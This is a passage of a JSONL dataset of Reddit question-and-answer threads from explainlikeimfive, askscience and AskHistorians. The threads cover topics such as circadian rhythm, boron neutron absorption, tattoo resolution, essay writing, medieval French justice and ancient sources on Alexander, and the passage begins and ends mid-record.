to do to be a service provider should vary with different locations and laws, but for the most part companies just make it clear in the TOS that you are the owner and are responsible for all content.  They would also likely have to cooperate with any investigations.  In terms of copyright, providers need to follow a set take down procedure to disable access in response to complaints.", "I haven't read the Snapchat ToS but usually you give them full rights to use it how they see fit but you still own it. This is because to send a picture to someone else they have to: Save the picture, send a copy of said picture to someone else, show said picture on someone else's phone. Imagine if this was something they don't have the rights to, they'd instantly be liable for copyright infringement for copying and sharing it with another user.\n\nI'm assuming they don't actually own the pictures and videos because if so, they are suddenly liable for a lot more things. With these sorts of stuff it's much better to just get the rights to do whatever you want to do with the picture without claiming ownership.\n\nIt's not even like they could claim ownership really. I know it's not pictures but a few years back Blizzard tried to get the rights to Dota from Icefrog/ Valve because it was created within their program in which the ToS claimed that Blizzard owned anything made with it. They couldn't get the rights to it and had to change the name to Blizzard All-Stars which later because HotS. I assume a similar thing would happen with Snapchat if they ever claimed to own an image rather than just having the rights to do whatever they want with it.", "I would just like to take a moment to remind everyone that the police DO NOT know the law and absolutely are not considered legal counsel. If you have a legal question that could impact your life please ask a lawyer. ", "It would be like taking an indecent photo of a child, developing it, then slipping it into someone's pocket and accusing them. They need to have intent.", "Everyone is acting like a lawyer here and missing the point: [ownership](_URL_1_) is different to [possession](_URL_0_).\n\nSource: I am a lawyer.", "Follow up question, how do they make money and what happens to all the d*** pics? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], ["https://en.wikipedia.org/wiki/Right_of_possession", "https://en.wikipedia.org/wiki/Ownership"], []]}
{"q_id": "fuarbl", "title": "why are throat swabs taken through the nose?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/fuarbl/eli5_why_are_throat_swabs_taken_through_the_nose/", "answers": {"a_id": ["fmbp1ye"], "score": [13], "text": ["It's to get to this special spot, the nasopharynx.\n\n[Nasopharyngeal swab ](_URL_0_)\n\n\nIt's right at the top of the upper respiratory system, it's a good place to find bacteria and viruses."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://imgur.com/1k7tDEg.jpg"]]}
{"q_id": "mddk6", "title": "Waking up in the morning: Why is it that when I sleep outdoors I'm able to wake up bright and early feeling refreshed?", "selftext": "Furthermore, why is it that when I sleep for a full 9 hours I still feel crappy when the alarm rings? I know it has to deal with your sleep cycles, but how are these sleep cycles influenced by external factors (light, sound, temperature)?\n\nEdit: Thanks for all of the great information! I suffer from sleep phase disruption, which essentially means my circadian rhythm has gone off the deep end. But whenever I sleep outdoors, I find that I fall asleep easily at nightfall and wake up refreshed in the morning. I was just wondering if there was any way to bring whatever factors exist outside into my bedroom.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/mddk6/waking_up_in_the_morning_why_is_it_that_when_i/", "answers": {"a_id": ["c300m75", "c3016lg", "c305y9s", "c300m75", "c3016lg", "c305y9s"], "score": [77, 17, 2, 77, 17, 2], "text": ["You know, that is very interesting. I'm sure I know the answer:\n\nSo the pineal gland in your brain is very involved in your circadian rhythm (biological clock), and it produces and secretes melatonin which is a chemical that basically makes you sleepy due to a pathway I won't explain. Anyway you can buy it in the vitamin store to help you sleep.\n\nThe production of melatonin is stimulated by darkness and inhibited by light. Perhaps you were in more direct sunlight when you woke up since you were outside, and your pineal gland was better able to respond to light, inhibiting the melatonin, thereby bringing you steadily and clearly out of sleep and allowed you to wake up faster (ie start increasing body temperature and blood pressure and levels of the hormones responsible for this).\n\nHere's more info on the pineal gland: _URL_0_", "I can tell you a few things about your circadian rhythm that you might be interested in.\n\nYou have a 'master clock' this is the one that is mediated by blue and UVA light (special light sensing receptors in you eyes known as photoreceptive rental ganglion cells pick this light up and send it to your SCN, [SCN mean suprachiasmatic nucleus, this is because it is above {or super} the optic chiasm {greek letter X, for crossing}], your SCN sends this information to your pineal gland which secretes melatonin or not)\n\nThis master clock is mainly mediated by light, so when you don't have blinds to stop the light your body will naturally lower melatonin levels as light increases (this is all part of a very intricate feedback loop and if the sun never came up you would still lower melatonin production).\n\nNow your body has many 'peripheral clocks' which exist in many tissues, e.g. eyes, lungs, liver, etc; although these are mediated by the master clock they can be influenced by other things. The most notable is temperature, when the temperature goes down your perpherial clocks are thinking night is starting, adverse for warming and morning. So if you're temperature is actually changing (less likely in an insulated bedroom) then you'll exhibit more circadian effects.\n\nLastly sugar levels mediate some clocks (as you wouldn't have high sugar levels when sleeping) so eating something in the morning can help your body 'feel' awake.\n\n\n", "Related question, what happens to circadian rhythm to those that are 'night owls'? I personally find that I am much more awake at night and more sleepy during the day, especially direct sunlight in the face will make me feel very tired. \n\nSince I was young I often stayed up late and slept in late to the point where on school holidays I would reverse my sleeping patterns; going to bed at about 7am and getting up at 5pm. \n\nThis may just have been a behaviour that has just become a habit, but it seems like my circadian rhythm should be pushing me to return to normal sleeping patterns whereas I feel like sleeping during the day and being awake at night is more 'normal'.", "You know, that is very interesting. I'm sure I know the answer:\n\nSo the pineal gland in your brain is very involved in your circadian rhythm (biological clock), and it produces and secretes melatonin which is a chemical that basically makes you sleepy due to a pathway I won't explain. Anyway you can buy it in the vitamin store to help you sleep.\n\nThe production of melatonin is stimulated by darkness and inhibited by light. Perhaps you were in more direct sunlight when you woke up since you were outside, and your pineal gland was better able to respond to light, inhibiting the melatonin, thereby bringing you steadily and clearly out of sleep and allowed you to wake up faster (ie start increasing body temperature and blood pressure and levels of the hormones responsible for this).\n\nHere's more info on the pineal gland: _URL_0_", "I can tell you a few things about your circadian rhythm that you might be interested in.\n\nYou have a 'master clock' this is the one that is mediated by blue and UVA light (special light sensing receptors in you eyes known as photoreceptive rental ganglion cells pick this light up and send it to your SCN, [SCN mean suprachiasmatic nucleus, this is because it is above {or super} the optic chiasm {greek letter X, for crossing}], your SCN sends this information to your pineal gland which secretes melatonin or not)\n\nThis master clock is mainly mediated by light, so when you don't have blinds to stop the light your body will naturally lower melatonin levels as light increases (this is all part of a very intricate feedback loop and if the sun never came up you would still lower melatonin production).\n\nNow your body has many 'peripheral clocks' which exist in many tissues, e.g. eyes, lungs, liver, etc; although these are mediated by the master clock they can be influenced by other things. The most notable is temperature, when the temperature goes down your perpherial clocks are thinking night is starting, adverse for warming and morning. So if you're temperature is actually changing (less likely in an insulated bedroom) then you'll exhibit more circadian effects.\n\nLastly sugar levels mediate some clocks (as you wouldn't have high sugar levels when sleeping) so eating something in the morning can help your body 'feel' awake.\n\n\n", "Related question, what happens to circadian rhythm to those that are 'night owls'? I personally find that I am much more awake at night and more sleepy during the day, especially direct sunlight in the face will make me feel very tired. \n\nSince I was young I often stayed up late and slept in late to the point where on school holidays I would reverse my sleeping patterns; going to bed at about 7am and getting up at 5pm. \n\nThis may just have been a behaviour that has just become a habit, but it seems like my circadian rhythm should be pushing me to return to normal sleeping patterns whereas I feel like sleeping during the day and being awake at night is more 'normal'."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.vivo.colostate.edu/hbooks/pathphys/endocrine/otherendo/pineal.html"], [], [], ["http://www.vivo.colostate.edu/hbooks/pathphys/endocrine/otherendo/pineal.html"], [], []]}
{"q_id": "5t4687", "title": "filmmaking/photography - why does shooting wide open not look cinematic?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5t4687/eli5_filmmakingphotography_why_does_shooting_wide/", "answers": {"a_id": ["ddk84bs"], "score": [2], "text": ["If you are asking about camera F-stops and if wide open means the smallest number, then you are speaking of depth of field.\n\nDepth, in depth of field, means how much of the objects in front of the lens are sharply focused. The higher the F stop, the deeper the depth of field, so objects either in front of, or behind the focal point will also be in focus. For a given lens and scene, higher F-stops require more light or slower shutter speeds to achieve the increased depth of field.\n\nIn film making, a fast shutter speed is required so the motion is broken into as many steps (or frames) as possible. This makes for a smoother replay. As we need a fast shutter, the only thing that can increase the depth of field is more light. So, in professional film making, lighting becomes extremely important. The cinematographer or film director will work with the crews to apply the right amount of light to allow the film or video, to have 1) the look the director wants and 2) can achieve the depth of field needed to show the scene as the director wishes.\n\nSo, professional film making and professional photography have, over the years, set a standard for focus, lighting, and depth of field which we have come to know and enjoy and which makes amature video and photography look less polished than the professional products.\n\nArt films and experimental videos can exploit these techniques for effects as their creators think fit. But, for the most part, the film and video industries know what we enjoy seeing and that includes well lit action scenes with good depth of focus. \n\nModern cell phone cameras can make a well focused video outdoors in good light. Start limiting that light by moving indoors or at night, and the images will suffer from blurriness and shake as shutter speed is reduced to compensate for lack of light. That makes them \"not look cinematic.\" \n\nHigh-end video equipment can be rented in most cities from photo shops. So, if you want to make a great looking video, read lots on the subject and work to get the techniques down. Hope this helps a little!\n\n_URL_0_\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Depth_of_field"]]}
{"q_id": "5unpuo", "title": "How does Boron's ability to absorb neutrons work and does absorbing neutrons affect the atom?", "selftext": "Boron is often used in nuclear reactors because of its ability to absorb neutrons. How can Boron do this without becoming super heavy or otherwise changing itself?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5unpuo/how_does_borons_ability_to_absorb_neutrons_work/", "answers": {"a_id": ["ddvloyb", "ddvxj0p"], "score": [19, 6], "text": ["The boron **does** change. It undergoes neutron capture reactions. Neutron capture looks like:\n\n^(A)X + n - >  ^(A+1)X + \u03b3.\n\nThat means that the nucleus is transmuted to a heavier isotope of the same element, and a gamma ray is released.", "Natural Boron is roughly 80/20 Boron-11 to Boron-10, and it's Boron-10 that is strongly neutron absorbing. B-10 has a nuclear binding energy of 6.48 MeV per nucleon, while B-11 has 6.93 MeV per nucleon. That means there's nearly 11.5 MeV of total excess binding energy in the transition from B-10 to B-11, making that transition (via neutron absorption) extremely energetically favorable. And it does indeed change, but it changes the isotopic abundances between the two naturally occurring isotopes, so it does not create either super heavy isotopes or \"neutron activated\" radioactive isotopes."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1jyfgf", "title": "What is the maximum \"resolution\" of a tattoo on human skin?", "selftext": "When a person receives a tattoo, what are the factors that limit how fine the lines can be? With the right equipment, could only a single cell be dyed, or would the ink \"bleed out\" and lower the maximum resolution possible?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1jyfgf/what_is_the_maximum_resolution_of_a_tattoo_on/", "answers": {"a_id": ["cbjtmqn"], "score": [19], "text": ["Right now the limiting factor is the size of the needle and deposition volume (how much ink is placed in the deeper layers of the skin per puncture). \n\nAt the cellular level, ink injection can be a little \"blurry\". The ink is deposited, damaging the epidermis and surrounding layers of skin. The immune system attempts to get rid of the pigment particles, and does so to the surface pigment by flaking it off. But the deeper pigment gets encapsulated by fibroblasts in the collagen matrix (\"scar\" tissue). I imagine this process leads to some movement/\"bleeding\" of the different pigments, but I would say not more than a few cell widths' worth."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "biy4mo", "title": "how does the psychology of taste work? ex: orange soda is more appealing to most people when colored orange.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/biy4mo/eli5_how_does_the_psychology_of_taste_work_ex/", "answers": {"a_id": ["em479nh"], "score": [2], "text": ["Has orange soda ever been colored a different color? If it was blue would people find it less appealing?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "32tcdc", "title": "whenever i think about an essay or report i need to write, i can clearly see the outline and what i want to say. but when i sit down to actually write, i can't get what's in my head to match what i put on the page. what's the deal?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/32tcdc/eli5_whenever_i_think_about_an_essay_or_report_i/", "answers": {"a_id": ["cqefqpu", "cqefwsx", "cqeh0hy", "cqehrg5", "cqeia0q", "cqekdc2", "cqenmbo", "cqepmk8", "cqeq553"], "score": [5, 8, 18, 2, 3, 2, 3, 2, 2], "text": ["It sounds like you're lacking \"voice\" in your writing. I dunno if it's really an explanation as much as it's advice, but essays and papers aren't about translating the information in the outline/rubric to your paper as it is to put your personal interpretation from your thought process onto paper for other people to judge your understanding of a topic or concept. \n\nUnless it's a really technical paper, you're almost always taking some sort of position based on judging contrasting sides in some sort of way. That happens through you doing research to make an informed decision on what's important to you and what position to take and or/what info to include or omit. The key thing is that you're not just paraphrasing your research for the sake of writing it in an X page long paper, you're just writing down your thoughts in a cohesive manner organized by the structure of the rubric/outline. \n\nMaybe you knew all of this, maybe not. I just try to write down what I'm thinking and it seems to work versus sitting back trying to approach it as \"how should I put down my knowledge and understanding of this topic down in a way that'll me a good grade\" kind of thing. ", "It really helps to physically outline on paper. First sentence of each paragraph in bullet-point style always works for me. I think an essay should make sense when you only read the first sentence of each paragraph. ", "I have either the same or a least a similar problem.  From what I've gathered in talks with my son's teachers, he has this issue as well.  That in itself was kind of a wake up call at how deep the issue goes, because I wasn't even aware I had the problem until late high-school/early college.  It seems a little strong to me to call it a learning disability, but that's the closest term I can think of.  \n\nI'm not sure exactly how your issue manifests op, but for me (at least in this stage of my mental development) I can craft individual sentences or complete thoughts in my head without difficulty.  It's when I try to combine those sentences into a larger paragraph or multiple paragraphs that I struggle.  To use a metaphor, the best way I can describe it is like sitting down to build a puzzle, and you're given a box of puzzle pieces.  As soon as you start pulling pieces out though, you discover that someone has included pieces from several very similar puzzles.  Even worse, some of the pieces from different puzzles fit together, but as soon as you match them you can tell don't quite go together.  You're only trying to build one puzzle, but you have chunks from 3 different puzzles on the table.  That's what writing is like for me.  I'm constantly pausing from sentence to sentence trying to sort through the box of puzzle pieces to find the correct one to follow the last piece.\n\nI'll tell you 2 things that help me when I'm trying to write formally op.  The first is don't keep that outline in your head.  Get it down on paper, so you can reference it.  It can be a living document, make all the margin notes and addendums to the outline you like, write down sentences that sound clever for sections.  Just get that skeleton built because the longer it stays in your head the more it will evolve.  The other trick, is what I think writers call [free-writing](_URL_0_), but I prefer to call it word-puke.  Just keep putting all the words that pop in your head down on paper or screen.  Even if you're repeating yourself, actually, especially if you're repeating yourself.  Just keep the words flowing out of your brain until you feel exhausted about that particular concept.  Then you can go back later and edit what you wrote down into coherent thoughts.  \n\nI know what I said doesn't really answer your question op, or explain how your brain is actually working, but I hope it helps.", "Make sure you have a good sense of what your 'point' (thesis) is and like was said above, then put it in your \"own voice\". It will also be helpful if you don't make any one paragraph do too much work. It will help you convert an outline into a 1st draft.\n\nI never did outlines in college. I just started putting things down covering my topic after thinking about it for a few days (obsessing more than thinking). Depending on the lenght I would write the paper in close to one sitting.\n\nI found going back the next day that the essay usually wasn't bad. Move/delete/edit any paragraphs needing work. Clean up wording, fix any awkward sentences. Rinse/repeat until I had a finished paper. I rarely got less than A's on my papers in college.\n\nIt's what worked for me, but if an outline helps someone they should use it.\n\n ", "Your first draft comes from the heart, the second comes from your head.\n\nSit down and write. Then make sense of it.", "Everyone has ideas and thoughts in their brains, but can never truly translate all of them into words for others. It's a common problem, and (to my understanding) their really isn't enough information to know why our brains sometimes struggles to translate thoughts into words. Perhaps it has to do that the part of your brain with these thoughts doesn't connect well with the part that deals with language. ", "There are two sorts of people: step by step, details people, and big picture people. You're a big picture person. I am, too.  \n\nI work with a step by step person, and I get bored of listening to her talk, because I know how she's going to finish three or four words in, but she takes 50-100 to explain how she got to that conclusion, when all I need is the conclusion. \n\nI get ideas for movies or books, and I know the arcing storyline, but I'd never be able to write them if I sat down to do it. ", "You may have a motor symbol sequencing cognitive deficit. You can neuroplastically fix this (such as by the exercises for this brain area through the Arrowsmith program). How is your hand written output? (same brain area).", "Hi. I make my living by teaching college-level writing courses. I don't have much expertise on learning disabilities, so I'll hold off on talking about that possibility. Here are a couple of thoughts from the writing process perspective.\n\nFirst, most people conceptualize writing as the process of taking the fully formed ideas that exist in your mind and putting them onto paper. They think of writing, that is, as *transcribing.* It's just a physical manifestation of what already exists in your mind. \n\nHowever, writing isn't exactly like that, especially when we're talking about any sort of creative, critical, persuasive, or interpretive work. \n\nHere's what I tell my students: writing itself *is* thinking. It's a different kind of thinking than what goes on inside your head, but it is thinking. You're not transcribing the perfect, fully formed thoughts inside your mind. Rather, the process of writing those thoughts out triggers further ideas, insights, knowledge, connections, and so on. That's what is meant by \"writing is thinking\" means. So, on one level, it doesn't surprise me at all that what comes out on paper doesn't perfectly match what's in your head. In ways, it *can't.* And that's a good thing. That's what makes writing a tool for clarifying thought, not merely expressing it.\n\nAlso, your problem reminds me of this fantastic line from *Waiting for Godot.* \"Ever tired. Ever failed. No matter. Try again. Fail better.\" It's the \"fail better\" line that kills me. No matter what I write, it never seems good enough to me. If I let my perfectionist tendencies have their way, I never get anything done. But if I just keep pushing--failing better--then eventually I can get somewhere.\n\nSo, when you write something that doesn't satisfy you, I'd recommend stepping back and just looking at it for a moment. Don't judge it. Just ask yourself, \"What's going on here?\" Then look for one change that will make it more like the idea you're working toward. Make that change, then look for another. Keep \"failing better\" until you get it not perfect but good enough. Then move on. \n\nSince you mentioned writing essays and reports, I'm guessing you're a college student. If that's the case, you likely have a bunch of resources available to help with your writing. Look for a writing center with tutors who can work with you. Go to your professors' office hours and ask for help. Good luck!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Free_writing"], [], [], [], [], [], []]}
{"q_id": "2z4r7s", "title": "Looking for Info on French Medieval Judicial System", "selftext": "I'm working on a screenplay loosely based around Joan of Arc, and I've come to a point in the film where a husband kills his wife with an axe and confesses to the crime, seeking forgiveness. Who would be in charge of prosecuting him? What would his typical punishment be? I'm trying to keep some sense of historical accuracy. ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2z4r7s/looking_for_info_on_french_medieval_judicial/", "answers": {"a_id": ["cpfs89z"], "score": [6], "text": ["There is no 'typical' 'French Medieval Justice System', there was barely a 'France' for much of the medieval period: it was highly fragmented with overlapping laws (such as were written down), customs, social groups and geo-political jurisdictions. Only in the 13th century was there sufficient centralization of authority in France to *begin* the task of taking orally-transmitted, regional customs and turn them into codified laws. This was a process which took centuries, and did not start as a function of 'making law visible and structured' so much as the development of technique of authority. Only by 16th c was there really a structured 'law' which was represented through a system of authority recognizable to us.\n\nThis transcription of customary into 'law' was not a matter of taking down a verbal law and making it written. The process was even at times a literary one which would be foreign to us, gathering together narrative and rules in *exempla*. It stretched far:\n\n > beyond the purely legal-technical sphere. Very much like the popular preachers of the time, Philippe de Beaumanoir could tell the horrifying story of a pilgrim who innocently fell into the wrong company and was executed together with his casual drinking companions, and Jacques d'Ableiges could cap it with a salacious tale of a priest who lost the privilege of high justice by farting in the royal sargeant's face. [p14]\n\nDive into this book to find something to help your story out:\n\n* [Esther Cohen, *The Crossroads of Justice: Law and Culture in Late Medieval France* (E.J.Brill, 1993)](_URL_0_)\n\nThe trial of Jeanne d'Arc stands out because it was a heresy trial, and such trials were governed by canon law of the Church, a juridical system entirely separate from civil law and had developed in the Church far 'in advance' of late medieval secular criminal justice. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://books.google.com/books?id=5lclnUXYB4sC&amp;printsec=frontcover#v=onepage&amp;q&amp;f=false"]]}
{"q_id": "1sg48x", "title": "would an alien race plausibly send a signal transmitting prime numbers? that is, to what extent is math universal?", "selftext": "I'm basing this question on the movie Contact where they receive a transmission of sequential prime numbers.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1sg48x/eli5_would_an_alien_race_plausibly_send_a_signal/", "answers": {"a_id": ["cdxaist", "cdxakv9", "cdxd9cn", "cdxdtn9"], "score": [2, 33, 3, 2], "text": ["Follow up: what if the aliens don't have ten fingers and have their mathematical system based of say 14?", "I can't answer this, but I'll try my best to contribute. As someone interested in the philosophy of mathematics, a lot depends on how much you adhere to mathematical realism; i.e., the degree to which mathematical entities exist outside our perception. A lot of these explanations are right in a sense in that relative to our subjective perception, mathematics has universal correspondence: if any foreign organism cognates in the same manner we do, it is most probable that they too would 'discover' identical mathematical identities. However, we must realize that there is no way for us to confirm this, as any analysis would eventually be filtered through our perception. This would explain why 1) human civilizations geographically and temporally isolated nevertheless discovered analogous mathematics 2) why it is possible that we fundamentally could not communicate with extraterrestrial life. As a couple motivating examples, consider two seemingly unrelated subjects: music and quantum theory. For the former, you might notice that once again, isolated civilizations time and time again 're-discover' the same musical relationships, and recognize the same euphonic patterns, even if they end up using vastly different notation to describe it. The current musical notation we have is standardized, but ultimately arbitrary. In a technical sense, there actually exists an infinite number of symbolic languages with which to describe music. In the same vein, there exists an infinite number of symbolic formalisms with which to describe mathematics. The underlying mathematics however, remains invariate. Now consider quantum theory -- this is a salient example because it demonstrates that human perception / cognition is consistently reductive (look up 'non-determinism' and 'the correspondence principle'). Quantum mechanical principles such as wave-function collapse and electron spin are only understandable because 1) on a macroscopic scale, they reduce to classical mechanics we can understand 2) their experimentally observable effects can be described by our mathematics. However if you look at the development of quantum theory, much of the mathematics required to understand it was developed *in order to* understand it. Even more interestingly, many mathematical areas such as Grassmann algebras were dismissed as abstract mathematical nonsense because most people could not understand it conceptually, that is, until they later found that they elegantly explained particular relationships in quantum mechanics.\n\nIn short, I believe our understanding of mathematics is fundamentally entwined with the way we perceive, and ultimately, the way we cognate. It would be impossible to prove (or disprove) this theory until we found aliens that not only were unable to understand our mathematics, but also used demonstratively incomprehensible modes of 'neural' (or whatever analogue) computation. This is not to say mathematics is invented, but rather it is as much a discovery of our own minds as it is as a understanding of the world around us.\n\nI don't claim to be perfectly right about this, so I would love anyone to correct / help me out here.", "Reminds me of [this book](_URL_0_) where aliens communicate with humans using Pythagoras' Theorem which is universal", "The whole point of the prime numbers was to get our attention, IIRC. A repeated pattern of primes in numerical order (2,3,5,7,11,13,etc) is highly unusual and improbable to occur in nature. Therefore it has to have an artificial (aliens) source.\n\nTo answer the question, though, math is utterly universal. So long as each party can understand the other's notation and syntax, any number expressed by one party would be understood by the other."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Anathem"], []]}
{"q_id": "indqa", "title": "Watching the space walk going on the ISS right now, have a question about whistling in a space suit.", "selftext": "I could hear the astronauts whistling in their spacesuits while waiting for depressurisation of the Quest airlock. The commentator said that they whistle to test to see whether depress is complete because it's impossible to whistle in a spacesuit when in a vacuum.\n\nHow does a vacuum outside a pressurised suit inhibit whistling inside it?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/indqa/watching_the_space_walk_going_on_the_iss_right/", "answers": {"a_id": ["c254pp5", "c254wk0", "c2554fb", "c2556if"], "score": [7, 2, 8, 4], "text": ["I don't think it does, but maybe someone on the outside was listening.", "Maybe the microphone that they are listening for the whistling is on the inside of the depressurization chamber?", "They can whistle in the suit because it is pressurized. In a vacuum the sound wont travel outside the spacesuit which is what they listen for.  Theres probably a mic on the space side of the airlock or the other astronaut is not on the radio listening. \n\nEdit: clarity", "Whilst the ISS is pressurized at 1 bar (\u224814.7 psi or \u22481 kg/cm\u00b2) with air (20% O\u00b2 + \u224860% N\u00b2), spacesuits are pressurized at roughly \u2153 bar (\u22485 psi or \u2248 \u2153 bar) with pure O\u00b2 (to keep the same O\u00b2 partial pressure and reduce the chance of the bends in case of a sudden decompression).\n\nI suppose that the different pressure would have an influence on the suit atmosphere and thus would affect the ability to whistle???"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "ykxh9", "title": "the rise of neo-conservatism in america", "selftext": "When did it begin? Was there a turning point where extreme right-wing talking heads  &  politicians began to spring up? What were the contributing factors?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/ykxh9/the_rise_of_neoconservatism_in_america/", "answers": {"a_id": ["c5wjar4", "c5wjma1"], "score": [6, 2], "text": ["Neo-conservatism started in the 1970s and 1980s, when many right-wingers felt the US had gone soft in the Cold War and instead of just seeking to contain Communism, should seek to actively force it back.\n\nAfter the end of the Cold War they were marginalized, but after the September 11 attacks, they became significant, and called for an aggressive US policy in the Muslim world.\n\nThe \"conservative movement\" is a different thing than neo-conservatism (which is a foreign policy idea).  The conservative movement as it currently exists began in the early 1960s.  In the 1950s, most people supported New Deal liberalism and a moderate approach to the Cold War, and civil rights gradually started to gain support in the majority population.  William Buckley helped to start a movement that favored a more aggressive foreign policy, more free-market domestic policy, opposed the welfare state, and opposed government action on civil rights.  That movement gradually grew into the 1964 presidential campaign of Barry Goldwater, which lost, but laid the groundwork for the movement that took power with Reagan's 1980 election and has been a major force in US politics ever since.  From the 1980s onward, it also adopted strong positions on social issues like opposing abortion and gay rights.  And it was during Bill Clinton's term that Fox News started and Rush Limbaugh and other right-wing talk radio hosts really took off.", "This is conjecture from years of private study and trying to get a level uncolored view of your question for myself. I think it started with Reagan and his \"moral majority\" campaign. The underlying premise was the euphemism of \"wrap yourself in the flag and holler JESUS!\" Today's wedge issues of abortion, homosexuality, and patriotism seems to stem from that moral majority campaign. Not to mention the idea of extreme deficit spending for defense and reducing taxes for the wealthy in the so-called trickle down effect. There is a reason why Fox news and other extreme conservatives look up to Reagan."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "f7aln", "title": "List of best documentaries for each stage of evolution from abiogenisis through to human evolution.", "selftext": "Hi Reddit, \nI am looking to compose a list of recent  &  recommended documentaries that deal with a specific stage of evolution and beyond.\n\nExplain the Big Bang Theory, how sun's  &  planets are made etc.?\nExplain Abiogenisis and how single cell organisms formed?\nExplain the transition to multi-cell organisms?\nOther stuff?\nEarly evolution of invertebrates etc.?\nThe first creatures on land?\nMammals, dinosaurs etc.?\nHistory of the great apes?\n\n\"the ape that took over the world\"\n\"The journey of man\"\n\nI've seen these last two and they were very interesting, I am keen to watch documentaries taking one step backwards in evolution each time. Once we have agreed on a bunch of them, I will edit the post to include a list.\n\nThanks Reddit.\n\n\n\nEDIT: \n\nFirst Life with David Attenborough\n\nThe Cell\n\n...\n\n...\n\nthe ape that took over the world\n\nThe journey of man", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/f7aln/list_of_best_documentaries_for_each_stage_of/", "answers": {"a_id": ["c1dthra", "c1dtsmn"], "score": [2, 3], "text": ["Interesting concept.  I just got done watching The Cell Pt. 3, which covered abiogenesis to an extent, but wasn't really comprehensive.  \n\nI'm not sure there even *are* documentaries over each step, though.  Books?  Sure.  Films?  I'd be surprised.  ", "First Life with David Attenborough is absolutely top-notch, I cannot recommend it highly enough. It's not terribly comprehensive, but it makes plausible the progression from just-after-abiogenesis to modern animals, aided by some really mind-blowing examples."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "oibw3", "title": "\"Hot topic\" diseases get a lot of research attention (and money). But what about cosmetic diseases like seborrheic dermatitis? Have there been any recent revelations in determining its cause, or innovations in treating this annoying and unsightly (but harmless) disease?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/oibw3/hot_topic_diseases_get_a_lot_of_research/", "answers": {"a_id": ["c3hhtcl", "c3hhy5j"], "score": [4, 4], "text": ["[Here](_URL_0_) is a review article from 2009 going over the latest research in that area.", "The thing with medicine is studying one thing usually has far reaching results for many diseases (even the non threatening but annoying ones)\n\nChronic conditions like that tend to be rooted in Immune system disorders where the body attacks itself or is over sensitive. Now it may not be the center of attention in regards to medical research but studies into treatments in auto-immune disease would also lead to treatments in skin disorders.\n\nPerfect example is Viagra. There was no research group looking for a cure for erectile dysfunction. They were actually studying heart medication and found it had the side effect of causing erections.\n\nSo basically what i'm saying is don't get frustrated because medicine tends to touch upon all areas."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.biomedsearch.com/article/Facial-seborrheic-dermatitis-report-current/203360216.html"], []]}
{"q_id": "1hxs0b", "title": "What ancient writers used Ptolemy I Soter as a source in writing their history of Alexander?", "selftext": "So I understand Ptolemy I Soter wrote a history of Alexander's conquests or something like that. I know it is now lost, but I understand other writers like Arrian used Ptolemy as a source. I was wondering what other writers used Ptolemy?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1hxs0b/what_ancient_writers_used_ptolemy_i_soter_as_a/", "answers": {"a_id": ["caz1ig1", "caz2quc"], "score": [2, 6], "text": ["What I have so far from my own research:\n\n1. Arrian- Anabasis Alexander (he explicitly states he is using Ptolemy)\n2. Curtis Rufus - The History of Alexander (haven't read this yet, can't find a free online version that isn't in Latin)\n3. Diodorus of Sicily- [in his massive History of everything](_URL_0_) (but I don't know that he definitely uses Ptolemy or if it is just assumed that he did)\n4. Plutarch (although it seems he hardly uses him if at all)", "Hello! Of the major extant sources on Alexander's life, it seems only Arrian drew extensively from Ptolemy. Quintus Curtius Rufus, Diodorus of Sicily, and Justin (epitomizing the lost work of Pompeius Trogus) all reflect the so-called \"vulgate\" tradition, allegedly deriving from Cleitarchus, while the biographer Plutarch belongs to a class of his own. For a helpful summary, please see the relevant pages on [Ptolemy](_URL_0_) and the [Alexander historians](_URL_1_) at _URL_2_ by historian Jona Lendering.\n\nNow, to go somewhat against the grain, I would personally avoid such a rigid understanding of historical \"fragments\" or ancient historiography in general. Many modern historians try to extrapolate information about lost writers from their \"fragments\"--instances, generally speaking, where they are cited by extant sources (e.g. Arrian says, \"According to Ptolemy...\")--because this supposedly improves our understanding of underlying biases. But to make a long discussion short: in most cases, we simply do not know how faithfully an ancient author, such as Arrian, adapted his sources or whether he integrated additional, unmentioned sources into his narrative. Indeed, not only does Arrian refer to a wide range of writers (including Aristobulus and Nearchus) throughout his account, he often employs the vague \"they say\" or \"it is said\" as well. Conversely, perhaps Curtius, Diodorus, and Trogus all read Ptolemy but decided to rely more upon other 